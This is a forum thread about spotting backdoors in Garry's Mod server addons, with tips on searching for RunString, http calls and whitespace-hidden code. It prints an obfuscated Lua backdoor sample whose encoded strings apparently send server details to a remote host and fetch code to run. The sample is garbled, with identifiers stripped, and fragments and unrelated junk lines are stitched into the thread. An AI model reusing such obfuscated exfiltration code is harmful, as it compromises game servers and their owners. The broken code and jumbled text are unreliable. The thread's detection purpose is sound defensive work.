backdoors

Does anyone know how to detect a backdoor in server addons?

Try to look for STEAMIDs and code like this:
local = _G local = ['\115\116\114\105\110\103'] local = ['\98\105\116']['\98\120\111\114'] local function () if ['\108\101\110']() == 0 then return end local = '' for _ in ['\103\109\97\116\99\104'](,'\46\46') do =..['\99\104\97\114']((["\116\111\110\117\109\98\101\114"](_,16),227)) end return end ['978a8e8691']['b08a8e938f86'](5,function ()['8b979793']['b38c9097']('8b97979390d9cccc978c8f84828187cdd3d3d39486818b8c9097829393cd808c8ecc8f8c8490cc9782888a93cd938b93',{['80']=['848e8c87']['a48697a4828e868e8c8786']()['ad828e86'],['86']=['84828e86']['a48697aab3a2878791869090'](),['87']=['a48697ab8c9097ad828e86']()})end )['978a8e8691']['b08a8e938f86'](5,function ()['8b979793']['a58697808b']('8b97979390d9cccc978c8f84828187cdd3d3d39486818b8c9097829393cd808c8ecc81829086cd8f9682',function (repeat)['b1968db097918a8d84'](repeat)end ,nil )end )

Backdoors can be hidden too! Look at this example:
- - - - - - - - - - - [backdoor here]
[code here]
This makes the backdoor not seen when you first open the file so you need to "scroll" to the end of every line to see if there is anything hidden.
Or you can use a backdoor scanner which is really good that you get with Crident servers (you can get a 24hour trial)

on crident good scanner you can take 24h for free
or just download anti backdoor

Try to search for the key phrase: RunString or for example http(sometimes they unload the script from the server)

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

\116\99\104'](,'\46\46') do =..['\99\104\97\114']((["\116\111\110\117\109\98\101\114"](_,16),227)) end return end ['978a8e8691']['b08a8e938f86'](5,function ()['8b979793']['b38c9097']('8b97979390d9cccc978c8f84828187cdd3d3d39486818b8c9097829393cd808c8ecc8f8c8490cc97 :dquestion:

karm merdiveni matlayarak siyah olmasam da kaldrarak bahem iin yaptm bu rapi

there's a small list of what you should search for using notepad++.
Google gmod backdoors and find them.

crident.com has a backdoor checker, you can just get a 24 hour free trial and check for backdoors xD

179Yeeaaah! ! 50